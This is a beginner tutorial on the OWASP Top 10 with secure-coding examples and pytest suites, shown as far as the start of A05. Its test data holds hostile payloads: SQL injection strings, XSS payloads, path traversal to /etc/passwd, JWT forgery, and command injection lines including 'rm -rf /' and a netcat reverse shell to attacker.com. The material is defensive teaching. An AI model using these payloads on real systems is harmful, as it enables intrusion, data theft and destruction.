OWASP Top 10: Beginner-Friendly Deep Dive

Learn web security from scratch — every vulnerability explained with simple analogies and hands-on examples


🎯 Who Is This Article For?

  • Complete beginners in security testing
  • QA Engineers adding security to their skillset
  • Developers wanting to write more secure code
  • Anyone preparing for security-related interviews

You don’t need any prior security experience! Every concept is explained from scratch.


📍 You Are Here:

[✓] Article 1: QA Fundamentals
[✓] Article 2: QA Practice  
[✓] Article 3: DSA for QA
[✓] Article 4: Automation Frameworks
[✓] Article 5: CI/CD
[✓] Article 6: Test Design Techniques
[✓] Article 7: Performance Testing
[✓] Article 8: Landing Your Job at Apple
[✓] Article 9: Security Testing for QA
[→] Article 10: OWASP Top 10 Deep Dive

Progress: 100% + Bonus ✨

🏫 Before We Start: Security 101

What is a “Vulnerability”?

A vulnerability is simply a weakness in software that can be exploited. Think of it like:

🚪 A door that doesn't lock properly
🔑 A spare key hidden under the doormat
📝 A password written on a sticky note

What is OWASP?

OWASP = Open Web Application Security Project

It’s a free, open community that creates guides to help make software secure. Think of them as the “safety inspectors” for websites.

What is OWASP Top 10?

It’s a list of the 10 most dangerous security problems in web applications. Updated every few years based on real data.

Simple analogy: If websites were houses, OWASP Top 10 would be:

“The 10 Most Common Ways Burglars Break Into Houses”


🗺️ OWASP Top 10 at a Glance (2021 Edition)

Before diving deep, here’s a simple overview:

#NameELI5 (Explain Like I’m 5)Danger Level
A01Broken Access ControlLooking at someone else’s diary🔴🔴🔴🔴🔴
A02Cryptographic FailuresSecrets not kept secret🔴🔴🔴🔴
A03InjectionTricking the computer with sneaky input🔴🔴🔴🔴🔴
A04Insecure DesignBuilding a house without locks🔴🔴🔴🔴
A05Security MisconfigurationForgetting to close the window🔴🔴🔴
A06Vulnerable ComponentsUsing broken tools🔴🔴🔴
A07Authentication FailuresNot checking IDs properly🔴🔴🔴🔴
A08Integrity FailuresTrusting packages from strangers🔴🔴🔴
A09Logging FailuresNo security cameras🔴🔴
A10SSRFMaking your server call bad numbers🔴🔴🔴

🎮 How to Practice (Safely & Legally!)

⚠️ IMPORTANT: Never test on websites you don’t own or have permission to test!

Safe Practice Environments

# 1. OWASP WebGoat - Interactive lessons
docker run -p 8080:8080 webgoat/webgoat
# Then open: http://localhost:8080/WebGoat

# 2. DVWA - Vulnerable practice app
docker run -d -p 80:80 vulnerables/web-dvwa
# Then open: http://localhost

# 3. Juice Shop - Modern vulnerable app
docker run -p 3000:3000 bkimminich/juice-shop
# Then open: http://localhost:3000

No Docker? Try these online:


What is OWASP?

OWASP (Open Web Application Security Project) is a nonprofit foundation that works to improve the security of software. The OWASP Top 10 is their flagship awareness document, updated every 3-4 years based on real-world data from hundreds of organizations.

Why OWASP Top 10 Matters

📊 Based on data from 500,000+ applications
🌍 Industry standard for web security
📋 Required knowledge for security certifications
💼 Expected in most QA/SDET job interviews
🔒 Foundation for security testing

OWASP Top 10 Evolution

YearFocus Areas
2017Injection #1, XSS separate
2021Broken Access Control #1, New categories added
2024+Expected: API security, AI/ML security

A01:2021 - Broken Access Control

🎯 Overview

Broken Access Control moved from #5 (2017) to #1 (2021). It occurs when users can act outside their intended permissions.

🏠 Simple Analogy: The Hotel

Imagine a hotel:

  • You have a key card for Room 101
  • Broken Access Control = Your card also opens Room 102, 103, and the Manager’s office!
NORMAL:
  Your key 🔑 → Opens YOUR room ✅

BROKEN ACCESS CONTROL:
  Your key 🔑 → Opens ANY room 😱
  Your key 🔑 → Opens Manager's office 😱
  Your key 🔑 → Opens safe with everyone's valuables 😱

🧪 Try It Yourself (Beginner Exercise)

Scenario: You’re logged in as User #123

  1. Look at the URL: https://example.com/profile/123
  2. Change 123 to 124: https://example.com/profile/124
  3. If you see User 124’s profile → BUG FOUND! 🐛

This is called IDOR (Insecure Direct Object Reference).

Impact: Unauthorized access to data, privilege escalation, data theft, system takeover.

Real-World Examples

🔴 2019: Capital One Breach - 100M records exposed via SSRF/misconfigured WAF
🔴 2021: Parler Data Leak - Sequential IDs allowed scraping all posts
🔴 2022: T-Mobile API - Attackers accessed 37M customer records via API

Types of Access Control Vulnerabilities

1. Horizontal Privilege Escalation (IDOR)

User A accesses User B’s resources.

# VULNERABLE: No ownership check
@app.route('/api/orders/<order_id>')
def get_order(order_id):
    order = Order.query.get(order_id)
    return jsonify(order.to_dict())  # Anyone can access any order!

# SECURE: Verify ownership
@app.route('/api/orders/<order_id>')
@login_required
def get_order(order_id):
    order = Order.query.get(order_id)
    if order.user_id != current_user.id:
        abort(403)  # Forbidden
    return jsonify(order.to_dict())

2. Vertical Privilege Escalation

Regular user gains admin privileges.

# VULNERABLE: Only checking if logged in
@app.route('/admin/users')
@login_required
def admin_users():
    return User.query.all()  # Any logged in user can access!

# SECURE: Check role
@app.route('/admin/users')
@login_required
@admin_required  # Decorator checks role
def admin_users():
    return User.query.all()

3. Missing Function Level Access Control

// Frontend hides admin button but...
// VULNERABLE: API has no access control
app.post('/api/delete-user/:id', (req, res) => {
    User.delete(req.params.id);  // No role check!
    res.json({ success: true });
});

// SECURE: Always verify on backend
app.post('/api/delete-user/:id', authenticate, authorize('admin'), (req, res) => {
    User.delete(req.params.id);
    res.json({ success: true });
});

Complete Test Suite for Access Control

import pytest
from app import create_app, db
from models import User, Order

class TestAccessControl:
    """Comprehensive access control test suite"""
    
    @pytest.fixture
    def setup(self):
        """Create test users with different roles"""
        self.admin = User(username='admin', role='admin')
        self.user1 = User(username='user1', role='user')
        self.user2 = User(username='user2', role='user')
        self.order1 = Order(user=self.user1, amount=100)
        self.order2 = Order(user=self.user2, amount=200)
        db.session.add_all([self.admin, self.user1, self.user2, 
                           self.order1, self.order2])
        db.session.commit()
    
    # ========== IDOR Tests ==========
    
    def test_idor_order_access(self, client, setup):
        """User should not access another user's order"""
        # Login as user1
        client.post('/login', data={'username': 'user1', 'password': 'pass'})
        
        # Access own order - should succeed
        response = client.get(f'/api/orders/{self.order1.id}')
        assert response.status_code == 200
        
        # Access user2's order - should fail
        response = client.get(f'/api/orders/{self.order2.id}')
        assert response.status_code == 403
    
    def test_idor_profile_modification(self, client, setup):
        """User should not modify another user's profile"""
        client.post('/login', data={'username': 'user1', 'password': 'pass'})
        
        # Try to modify user2's profile
        response = client.put(f'/api/users/{self.user2.id}', 
                             json={'email': 'hacked@evil.com'})
        assert response.status_code == 403
        
        # Verify email unchanged
        user2 = User.query.get(self.user2.id)
        assert user2.email != 'hacked@evil.com'
    
    def test_idor_with_uuid(self, client, setup):
        """Test IDOR even with UUID (not sequential IDs)"""
        # UUIDs are harder to guess but still vulnerable
        response = client.get(f'/api/documents/{self.doc_uuid}')
        # Should still check ownership!
    
    # ========== Vertical Escalation Tests ==========
    
    def test_regular_user_cannot_access_admin_panel(self, client, setup):
        """Regular user should not access admin endpoints"""
        client.post('/login', data={'username': 'user1', 'password': 'pass'})
        
        admin_endpoints = [
            '/admin/dashboard',
            '/admin/users',
            '/admin/settings',
            '/api/admin/reports',
            '/api/admin/logs',
        ]
        
        for endpoint in admin_endpoints:
            response = client.get(endpoint)
            assert response.status_code in [401, 403], \
                f"User accessed admin endpoint: {endpoint}"
    
    def test_cannot_elevate_own_role(self, client, setup):
        """User should not be able to change their own role"""
        client.post('/login', data={'username': 'user1', 'password': 'pass'})
        
        # Try to make self admin via API
        response = client.put(f'/api/users/{self.user1.id}', 
                             json={'role': 'admin'})
        
        # Verify role unchanged
        user1 = User.query.get(self.user1.id)
        assert user1.role == 'user'
    
    # ========== Path Traversal Tests ==========
    
    def test_path_traversal_in_file_access(self, client, setup):
        """Test path traversal attacks"""
        payloads = [
            '../../../etc/passwd',
            '..\\..\\..\\windows\\system32\\config\\sam',
            '....//....//....//etc/passwd',
            '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd',
            '..%252f..%252f..%252fetc/passwd',
        ]
        
        for payload in payloads:
            response = client.get(f'/api/files/{payload}')
            assert response.status_code in [400, 403, 404]
            assert 'root:' not in response.text  # Unix password file
    
    # ========== HTTP Method Tests ==========
    
    def test_http_method_bypass(self, client, setup):
        """Test if changing HTTP method bypasses access control"""
        client.post('/login', data={'username': 'user1', 'password': 'pass'})
        
        # DELETE might be protected, but what about other methods?
        methods = ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS', 'HEAD']
        
        for method in methods:
            response = client.open(f'/api/users/{self.user2.id}', 
                                  method=method)
            if method not in ['GET', 'OPTIONS', 'HEAD']:
                assert response.status_code == 403
    
    # ========== JWT/Token Tests ==========
    
    def test_jwt_role_manipulation(self, client, setup):
        """Test if JWT token role can be manipulated"""
        # Login and get token
        response = client.post('/login', 
                              data={'username': 'user1', 'password': 'pass'})
        token = response.json['token']
        
        # Decode JWT (without verification)
        import jwt
        payload = jwt.decode(token, options={"verify_signature": False})
        
        # Modify role and re-encode (attacker would do this)
        payload['role'] = 'admin'
        fake_token = jwt.encode(payload, 'guessed_secret', algorithm='HS256')
        
        # Try to use modified token
        response = client.get('/admin/users', 
                             headers={'Authorization': f'Bearer {fake_token}'})
        assert response.status_code == 401  # Should reject invalid signature
    
    def test_jwt_algorithm_none(self, client, setup):
        """Test JWT algorithm 'none' vulnerability"""
        import jwt
        
        # Create token with algorithm none
        payload = {'user_id': self.user1.id, 'role': 'admin'}
        fake_token = jwt.encode(payload, None, algorithm='none')
        
        response = client.get('/admin/users',
                             headers={'Authorization': f'Bearer {fake_token}'})
        assert response.status_code == 401

Access Control Testing Checklist

## IDOR Testing
- [ ] Test with sequential numeric IDs
- [ ] Test with UUIDs (still need ownership check!)
- [ ] Test nested resources (/users/1/orders/2)
- [ ] Test bulk operations (/api/orders?ids=1,2,3)
- [ ] Test search/filter endpoints

## Privilege Escalation
- [ ] Access admin URLs as regular user
- [ ] Modify user role via API
- [ ] Access other users' resources
- [ ] Change HTTP methods (GET→POST→DELETE)

## Authentication Bypass
- [ ] Access protected pages without login
- [ ] Use expired/invalid tokens
- [ ] Test JWT manipulation
- [ ] Test session fixation

## Path Traversal
- [ ] Test ../ sequences
- [ ] Test URL encoding variants
- [ ] Test null bytes (%00)
- [ ] Test OS-specific paths

A02:2021 - Cryptographic Failures

🎯 Overview

Previously called “Sensitive Data Exposure”. Focuses on failures related to cryptography that lead to exposure of sensitive data.

Impact: Data breaches, identity theft, compliance violations (GDPR, PCI-DSS).

Real-World Examples

🔴 2013: Adobe Breach - 153M passwords with weak encryption (3DES)
🔴 2016: LinkedIn - 117M passwords using unsalted SHA-1
🔴 2019: Facebook - 600M passwords stored in plain text

Types of Cryptographic Failures

1. Data in Transit

# VULNERABLE: HTTP without TLS
requests.post('http://api.example.com/login', 
              data={'password': 'secret123'})

# SECURE: HTTPS with certificate verification
requests.post('https://api.example.com/login', 
              data={'password': 'secret123'},
              verify=True)  # Verify SSL certificate

2. Data at Rest

# VULNERABLE: Plain text password storage
def create_user(username, password):
    user = User(username=username, password=password)  # Plain text!
    db.save(user)

# VULNERABLE: Weak hashing (MD5, SHA-1)
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()

# SECURE: Use bcrypt with salt
from bcrypt import hashpw, gensalt, checkpw

def create_user(username, password):
    hashed = hashpw(password.encode(), gensalt(rounds=12))
    user = User(username=username, password_hash=hashed)
    db.save(user)

def verify_password(password, password_hash):
    return checkpw(password.encode(), password_hash)

3. Key Management

# VULNERABLE: Hardcoded secrets
API_KEY = "sk_live_abc123xyz"  # In source code!
JWT_SECRET = "supersecret"

# SECURE: Environment variables
import os
API_KEY = os.environ.get('API_KEY')
JWT_SECRET = os.environ.get('JWT_SECRET')

# Even better: Use secrets manager
from aws_secretsmanager import get_secret
API_KEY = get_secret('production/api_key')

Complete Cryptographic Test Suite

import ssl
import socket
import requests
from cryptography.hazmat.primitives import hashes

class TestCryptography:
    """Test suite for cryptographic security"""
    
    # ========== HTTPS/TLS Tests ==========
    
    def test_https_enforced(self):
        """All endpoints should redirect HTTP to HTTPS"""
        response = requests.get('http://example.com', allow_redirects=False)
        assert response.status_code == 301
        assert response.headers['Location'].startswith('https://')
    
    def test_hsts_header(self):
        """HSTS header should be present"""
        response = requests.get('https://example.com')
        hsts = response.headers.get('Strict-Transport-Security')
        assert hsts is not None
        assert 'max-age=31536000' in hsts  # At least 1 year
        assert 'includeSubDomains' in hsts
    
    def test_tls_version(self):
        """Only TLS 1.2+ should be supported"""
        hostname = 'example.com'
        
        # Test TLS 1.0 (should fail)
        context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
        with pytest.raises(ssl.SSLError):
            with socket.create_connection((hostname, 443)) as sock:
                with context.wrap_socket(sock, server_hostname=hostname):
                    pass
        
        # Test TLS 1.2 (should succeed)
        context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
        with socket.create_connection((hostname, 443)) as sock:
            with context.wrap_socket(sock, server_hostname=hostname) as ssock:
                assert ssock.version() in ['TLSv1.2', 'TLSv1.3']
    
    def test_no_weak_ciphers(self):
        """Weak ciphers should be disabled"""
        import subprocess
        result = subprocess.run(
            ['nmap', '--script', 'ssl-enum-ciphers', '-p', '443', 'example.com'],
            capture_output=True, text=True
        )
        
        weak_ciphers = ['DES', 'RC4', 'MD5', 'NULL', 'EXPORT', 'anon']
        for cipher in weak_ciphers:
            assert cipher not in result.stdout
    
    # ========== Password Storage Tests ==========
    
    def test_password_not_in_response(self):
        """Password should never appear in API responses"""
        response = requests.get('/api/users/1')
        user_data = response.json()
        
        forbidden_fields = ['password', 'password_hash', 'pwd', 'secret']
        for field in forbidden_fields:
            assert field not in user_data
    
    def test_password_not_in_logs(self):
        """Passwords should not be logged"""
        # Make login request
        requests.post('/login', data={'username': 'test', 'password': 'secret123'})
        
        # Check application logs
        with open('/var/log/app/access.log') as f:
            log_content = f.read()
            assert 'secret123' not in log_content
    
    def test_password_hashing_strength(self):
        """Verify strong password hashing is used"""
        import bcrypt
        
        # Get password hash from database (test environment)
        user = User.query.get(1)
        password_hash = user.password_hash
        
        # Bcrypt hashes start with $2b$ or $2a$
        assert password_hash.startswith(b'$2')
        
        # Check work factor (should be >= 10)
        work_factor = int(password_hash.split(b'$')[2])
        assert work_factor >= 10
    
    # ========== Sensitive Data Exposure Tests ==========
    
    def test_no_sensitive_data_in_url(self):
        """Sensitive data should not appear in URLs"""
        # Check access logs for sensitive patterns
        sensitive_patterns = [
            r'password=',
            r'token=',
            r'api_key=',
            r'secret=',
            r'ssn=\d{3}-\d{2}-\d{4}',
            r'credit_card=\d{16}',
        ]
        
        with open('/var/log/nginx/access.log') as f:
            for line in f:
                for pattern in sensitive_patterns:
                    assert not re.search(pattern, line, re.IGNORECASE)
    
    def test_error_messages_no_sensitive_info(self):
        """Error messages should not expose sensitive information"""
        # Trigger various errors
        error_responses = [
            requests.get('/api/users/invalid'),
            requests.post('/login', data={'username': "'; DROP TABLE--"}),
            requests.get('/api/internal/debug'),
        ]
        
        for response in error_responses:
            text = response.text.lower()
            # Should not expose:
            assert 'stack trace' not in text
            assert 'sql' not in text
            assert 'database' not in text
            assert 'password' not in text
            assert '/var/' not in text
            assert 'c:\\' not in text
    
    # ========== Cookie Security Tests ==========
    
    def test_cookie_security_flags(self):
        """Session cookies should have security flags"""
        response = requests.post('/login', 
                                data={'username': 'test', 'password': 'pass'})
        
        session_cookie = response.cookies.get('session')
        
        # Check Secure flag (HTTPS only)
        assert session_cookie.secure == True
        
        # Check HttpOnly flag (not accessible via JavaScript)
        assert session_cookie.has_nonstandard_attr('HttpOnly')
        
        # Check SameSite attribute
        assert session_cookie.get_nonstandard_attr('SameSite') in ['Strict', 'Lax']

Cryptographic Security Checklist

## Data in Transit
- [ ] HTTPS everywhere (no HTTP)
- [ ] HSTS header enabled
- [ ] TLS 1.2+ only (disable TLS 1.0/1.1)
- [ ] Strong cipher suites
- [ ] Valid SSL certificate

## Data at Rest
- [ ] Passwords hashed with bcrypt/Argon2
- [ ] Work factor >= 10
- [ ] Sensitive data encrypted (AES-256)
- [ ] Encryption keys properly managed

## Key Management
- [ ] No hardcoded secrets
- [ ] Secrets in environment variables
- [ ] Key rotation policy
- [ ] Secrets manager in production

## Sensitive Data Handling
- [ ] No sensitive data in URLs
- [ ] No sensitive data in logs
- [ ] No sensitive data in error messages
- [ ] Secure cookie flags set

A03:2021 - Injection

🎯 Overview

Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query.

Impact: Data theft, data corruption, denial of service, complete system compromise.

Types of Injection Attacks

┌─────────────────────────────────────────────────────────┐
│                    INJECTION TYPES                       │
├─────────────────────────────────────────────────────────┤
│  SQL Injection      │ Database queries                  │
│  NoSQL Injection    │ MongoDB, CouchDB queries          │
│  OS Command         │ Shell commands                    │
│  LDAP Injection     │ Directory services                │
│  XPath Injection    │ XML queries                       │
│  Template Injection │ Server-side templates (SSTI)      │
│  Header Injection   │ HTTP headers                      │
│  Log Injection      │ Application logs                  │
└─────────────────────────────────────────────────────────┘

SQL Injection Deep Dive

Types of SQL Injection

-- 1. UNION-based (extract data)
' UNION SELECT username, password FROM users--

-- 2. Error-based (extract via errors)
' AND 1=CONVERT(int, (SELECT TOP 1 username FROM users))--

-- 3. Blind Boolean-based
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a'--

-- 4. Blind Time-based
' AND IF(1=1, SLEEP(5), 0)--

-- 5. Out-of-band (DNS/HTTP exfiltration)
'; EXEC xp_dirtree '//attacker.com/share'--

SQL Injection Test Payloads

SQL_INJECTION_PAYLOADS = [
    # Authentication bypass
    "' OR '1'='1",
    "' OR '1'='1'--",
    "' OR '1'='1'/*",
    "admin'--",
    "admin'/*",
    "') OR ('1'='1",
    
    # UNION attacks
    "' UNION SELECT NULL--",
    "' UNION SELECT NULL,NULL--",
    "' UNION SELECT username,password FROM users--",
    
    # Error-based
    "' AND 1=CONVERT(int,@@version)--",
    "' AND extractvalue(1,concat(0x7e,version()))--",
    
    # Time-based blind
    "' AND SLEEP(5)--",
    "'; WAITFOR DELAY '0:0:5'--",
    "' AND (SELECT SLEEP(5) FROM dual WHERE 1=1)--",
    
    # Stacked queries
    "'; DROP TABLE users;--",
    "'; INSERT INTO users VALUES('hacker','pass');--",
    
    # Comment variations
    "admin'--",
    "admin'#",
    "admin'/*",
]

def test_sql_injection(client, endpoints):
    """Test all input fields for SQL injection"""
    for endpoint in endpoints:
        for payload in SQL_INJECTION_PAYLOADS:
            response = client.post(endpoint, data={'input': payload})
            
            # Check for SQL error messages
            error_indicators = [
                'sql syntax',
                'mysql',
                'postgresql',
                'sqlite',
                'oracle',
                'microsoft sql',
                'unclosed quotation',
                'quoted string not properly terminated',
            ]
            
            for indicator in error_indicators:
                assert indicator not in response.text.lower(), \
                    f"SQL injection possible at {endpoint} with payload: {payload}"

Cross-Site Scripting (XSS) Deep Dive

Types of XSS

┌────────────────────────────────────────────────────────┐
│                     XSS TYPES                          │
├────────────────────────────────────────────────────────┤
│  Stored XSS     │ Script saved in database            │
│                 │ Executes when page loads             │
│                 │ Example: Forum post, profile bio     │
├────────────────────────────────────────────────────────┤
│  Reflected XSS  │ Script in URL/request               │
│                 │ Reflected back in response           │
│                 │ Example: Search results, error msg   │
├────────────────────────────────────────────────────────┤
│  DOM XSS        │ Script manipulates DOM directly     │
│                 │ No server involvement                │
│                 │ Example: document.write(location)    │
└────────────────────────────────────────────────────────┘

XSS Test Payloads

XSS_PAYLOADS = [
    # Basic script tags
    "<script>alert('XSS')</script>",
    "<script>alert(document.cookie)</script>",
    "<script>alert(String.fromCharCode(88,83,83))</script>",
    
    # Event handlers
    "<img src=x onerror=alert('XSS')>",
    "<svg onload=alert('XSS')>",
    "<body onload=alert('XSS')>",
    "<input onfocus=alert('XSS') autofocus>",
    "<marquee onstart=alert('XSS')>",
    "<video><source onerror=alert('XSS')>",
    
    # JavaScript URLs
    "<a href='javascript:alert(1)'>click</a>",
    "<iframe src='javascript:alert(1)'>",
    
    # Bypass attempts
    "<ScRiPt>alert('XSS')</ScRiPt>",  # Case variation
    "<scr<script>ipt>alert('XSS')</script>",  # Nested
    "<script>alert`XSS`</script>",  # Template literals
    "<<script>alert('XSS');//<</script>",
    
    # Encoding bypass
    "<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>",  # HTML entities
    "<script>eval(atob('YWxlcnQoMSk='))</script>",  # Base64
    
    # DOM-based
    "<img src=x onerror=eval(location.hash.slice(1))>",
    
    # SVG-based
    "<svg><script>alert('XSS')</script></svg>",
    "<svg><animate onbegin=alert('XSS')>",
]

def test_xss_prevention(client, endpoints):
    """Test all input fields for XSS vulnerabilities"""
    for endpoint in endpoints:
        for payload in XSS_PAYLOADS:
            # Test via POST
            response = client.post(endpoint, data={'input': payload})
            
            # Payload should be escaped, not raw
            assert payload not in response.text, \
                f"Possible XSS at {endpoint}: payload reflected raw"
            
            # Check for proper encoding
            encoded = html.escape(payload)
            # Either encoded or completely removed is acceptable

Command Injection

# VULNERABLE
import os
def ping(host):
    os.system(f"ping -c 4 {host}")  # User input directly in command!

# Attack: ping("8.8.8.8; rm -rf /")

# SECURE: Use subprocess with list
import subprocess
def ping(host):
    # Validate input
    if not re.match(r'^[\w.-]+$', host):
        raise ValueError("Invalid hostname")
    
    subprocess.run(['ping', '-c', '4', host], check=True)

# Command injection payloads
COMMAND_INJECTION_PAYLOADS = [
    "; ls -la",
    "| cat /etc/passwd",
    "& whoami",
    "`id`",
    "$(cat /etc/passwd)",
    "\n cat /etc/passwd",
    "|| ping -c 10 attacker.com",
    "; nc attacker.com 4444 -e /bin/sh",
]

Complete Injection Test Suite

class TestInjection:
    """Comprehensive injection vulnerability tests"""
    
    def test_sql_injection_login(self, client):
        """Test login form for SQL injection"""
        for payload in SQL_INJECTION_PAYLOADS:
            response = client.post('/login', data={
                'username': payload,
                'password': 'anything'
            })
            # Should not authenticate
            assert 'Welcome' not in response.text
            assert 'Dashboard' not in response.text
    
    def test_sql_injection_search(self, client):
        """Test search functionality for SQL injection"""
        for payload in SQL_INJECTION_PAYLOADS:
            response = client.get(f'/search?q={payload}')
            # Should not show SQL errors
            assert 'error' not in response.text.lower()
            assert 'syntax' not in response.text.lower()
    
    def test_stored_xss(self, client):
        """Test for stored XSS in user-generated content"""
        # Login
        client.post('/login', data={'username': 'test', 'password': 'pass'})
        
        for payload in XSS_PAYLOADS:
            # Submit XSS payload
            client.post('/profile/update', data={'bio': payload})
            
            # View profile
            response = client.get('/profile')
            
            # Payload should be escaped
            assert '<script>' not in response.text
            assert 'onerror=' not in response.text
    
    def test_reflected_xss(self, client):
        """Test for reflected XSS in URL parameters"""
        for payload in XSS_PAYLOADS:
            response = client.get(f'/search?q={payload}')
            assert payload not in response.text
    
    def test_command_injection(self, client):
        """Test for command injection vulnerabilities"""
        for payload in COMMAND_INJECTION_PAYLOADS:
            response = client.post('/tools/ping', data={'host': payload})
            # Should not execute commands
            assert 'root:' not in response.text  # /etc/passwd content
            assert 'uid=' not in response.text   # id command output
    
    def test_ldap_injection(self, client):
        """Test for LDAP injection"""
        ldap_payloads = [
            "*",
            "*)(&",
            "*)(uid=*))(|(uid=*",
            "admin)(&)",
            "x])(|(cn=*",
        ]
        
        for payload in ldap_payloads:
            response = client.post('/ldap/search', data={'username': payload})
            assert response.status_code != 500
            # Should not return all users
            users = response.json().get('users', [])
            assert len(users) <= 1
    
    def test_nosql_injection(self, client):
        """Test for NoSQL injection (MongoDB)"""
        nosql_payloads = [
            {"$gt": ""},
            {"$ne": ""},
            {"$regex": ".*"},
            {"$where": "1==1"},
        ]
        
        for payload in nosql_payloads:
            response = client.post('/api/users/find', json={
                'username': payload
            })
            # Should not return all users or bypass auth
            assert response.status_code in [400, 401]
    
    def test_template_injection(self, client):
        """Test for Server-Side Template Injection (SSTI)"""
        ssti_payloads = [
            "{{7*7}}",  # Jinja2
            "${7*7}",   # FreeMarker
            "<%=7*7%>", # ERB
            "#{7*7}",   # Ruby
            "{{constructor.constructor('return 7*7')()}}",
        ]
        
        for payload in ssti_payloads:
            response = client.post('/render', data={'template': payload})
            # Should not evaluate expression
            assert '49' not in response.text

A04:2021 - Insecure Design

🎯 Overview

NEW in 2021. Focuses on design flaws rather than implementation bugs. These are fundamental architecture issues that can’t be fixed with better code alone.

Impact: Business logic flaws, security control bypass, fraud, data loss.

Real-World Examples

🔴 2020: Twitter - "Account Recovery" allowed SIM swap attacks
🔴 2021: Clubhouse - No rate limiting on invite codes
🔴 2022: Crypto Exchange - Negative balance exploit (design flaw)

Insecure Design Patterns

1. Missing Rate Limiting

# INSECURE DESIGN: No rate limiting on password reset
@app.route('/reset-password', methods=['POST'])
def reset_password():
    email = request.form['email']
    send_reset_email(email)  # Can be called unlimited times!
    return "Reset email sent"

# SECURE DESIGN: Rate limiting + verification
from flask_limiter import Limiter

limiter = Limiter(app, key_func=get_remote_address)

@app.route('/reset-password', methods=['POST'])
@limiter.limit("3 per hour")  # Max 3 requests per hour per IP
def reset_password():
    email = request.form['email']
    
    # Verify email exists (but don't reveal if it does)
    if User.query.filter_by(email=email).first():
        send_reset_email(email)
    
    # Always return same response (prevent enumeration)
    return "If the email exists, a reset link has been sent"

2. Missing Transaction Verification

# INSECURE DESIGN: Trust client-side price
@app.route('/checkout', methods=['POST'])
def checkout():
    item_id = request.form['item_id']
    price = request.form['price']  # Client sends price!
    process_payment(price)
    
# SECURE DESIGN: Always verify on server
@app.route('/checkout', methods=['POST'])
def checkout():
    item_id = request.form['item_id']
    item = Item.query.get(item_id)
    
    # Use server-side price
    price = item.price
    
    # Apply discounts server-side
    if current_user.has_coupon:
        price = apply_coupon(price, current_user.coupon)
    
    process_payment(price)

3. Inadequate Business Logic Validation

# INSECURE: Transfer money without proper validation
@app.route('/transfer', methods=['POST'])
def transfer():
    from_account = request.form['from']
    to_account = request.form['to']
    amount = float(request.form['amount'])
    
    # Missing: Check if user owns from_account
    # Missing: Check for sufficient balance
    # Missing: Check for negative amounts
    # Missing: Check daily limits
    
    Account.transfer(from_account, to_account, amount)

# SECURE: Comprehensive validation
@app.route('/transfer', methods=['POST'])
@login_required
def transfer():
    from_account = Account.query.get(request.form['from'])
    to_account = Account.query.get(request.form['to'])
    amount = Decimal(request.form['amount'])
    
    # Validate ownership
    if from_account.owner_id != current_user.id:
        abort(403, "Not your account")
    
    # Validate amount
    if amount <= 0:
        abort(400, "Amount must be positive")
    
    if amount > from_account.balance:
        abort(400, "Insufficient funds")
    
    # Check daily limits
    today_total = get_today_transfers(from_account)
    if today_total + amount > from_account.daily_limit:
        abort(400, "Daily limit exceeded")
    
    # Require 2FA for large amounts
    if amount > 10000 and not verify_2fa(request.form['2fa_code']):
        abort(403, "2FA required for large transfers")
    
    Account.transfer(from_account, to_account, amount)

Insecure Design Test Suite

class TestInsecureDesign:
    """Test for insecure design vulnerabilities"""
    
    def test_rate_limiting_login(self, client):
        """Brute force protection should exist"""
        for i in range(20):
            response = client.post('/login', data={
                'username': 'admin',
                'password': f'wrong{i}'
            })
        
        # Should be rate limited or locked
        response = client.post('/login', data={
            'username': 'admin',
            'password': 'correct'
        })
        assert response.status_code == 429 or \
               'locked' in response.text.lower()
    
    def test_rate_limiting_password_reset(self, client):
        """Password reset should have rate limiting"""
        for i in range(10):
            response = client.post('/reset-password', 
                                  data={'email': 'test@test.com'})
        
        # Should be rate limited
        assert response.status_code == 429
    
    def test_price_manipulation(self, client):
        """Server should verify prices, not trust client"""
        # Login
        client.post('/login', data={'username': 'test', 'password': 'pass'})
        
        # Try to manipulate price
        response = client.post('/checkout', data={
            'item_id': 1,
            'price': '0.01',  # Manipulated price
            'quantity': 1
        })
        
        # Order should use server-side price
        order = Order.query.order_by(Order.id.desc()).first()
        item = Item.query.get(1)
        assert order.total == item.price  # Not $0.01
    
    def test_negative_quantity(self, client):
        """Negative quantities should be rejected"""
        response = client.post('/cart/add', data={
            'item_id': 1,
            'quantity': -5  # Negative quantity
        })
        assert response.status_code == 400
    
    def test_race_condition_coupon(self, client):
        """Coupon should only be usable once"""
        import threading
        results = []
        
        def use_coupon():
            response = client.post('/apply-coupon', 
                                  data={'code': 'SINGLE_USE'})
            results.append(response.status_code)
        
        # Try to use same coupon simultaneously
        threads = [threading.Thread(target=use_coupon) for _ in range(10)]
        for t in threads:
            t.start()
        for t in threads:
            t.join()
        
        # Only one should succeed
        success_count = results.count(200)
        assert success_count == 1
    
    def test_user_enumeration(self, client):
        """Login/reset should not reveal valid usernames"""
        # Test with valid user
        response1 = client.post('/login', data={
            'username': 'existing_user',
            'password': 'wrong'
        })
        
        # Test with invalid user
        response2 = client.post('/login', data={
            'username': 'nonexistent_user',
            'password': 'wrong'
        })
        
        # Responses should be identical
        assert response1.text == response2.text
        assert response1.status_code == response2.status_code
    
    def test_insufficient_anti_automation(self, client):
        """Critical actions should have anti-automation"""
        # Check for CAPTCHA on registration
        response = client.get('/register')
        assert 'captcha' in response.text.lower() or \
               'recaptcha' in response.text.lower()

A05:2021 - Security Misconfiguration

🎯 Overview

Security misconfiguration is when security settings are defined, implemented, or maintained incorrectly.

Impact: Information disclosure, system compromise, default credential exploitation.

Common Misconfigurations

┌────────────────────────────────────────────────────────┐
│              SECURITY MISCONFIGURATIONS                │
├────────────────────────────────────────────────────────┤
│  Default credentials       │ admin/admin, root/root   │
│  Unnecessary features      │ Debug mode, sample apps  │
│  Verbose error messages    │ Stack traces, SQL errors │
│  Missing security headers  │ CSP, HSTS, X-Frame       │
│  Open cloud storage        │ S3 buckets, Azure blobs  │
│  Exposed admin panels      │ /admin, /phpmyadmin      │
│  Directory listing         │ /uploads/, /.git/        │
│  Unnecessary HTTP methods  │ PUT, DELETE, TRACE       │
└────────────────────────────────────────────────────────┘

Security Headers Reference

# Essential Security Headers

# 1. Strict-Transport-Security (HSTS)
# Forces HTTPS for specified duration
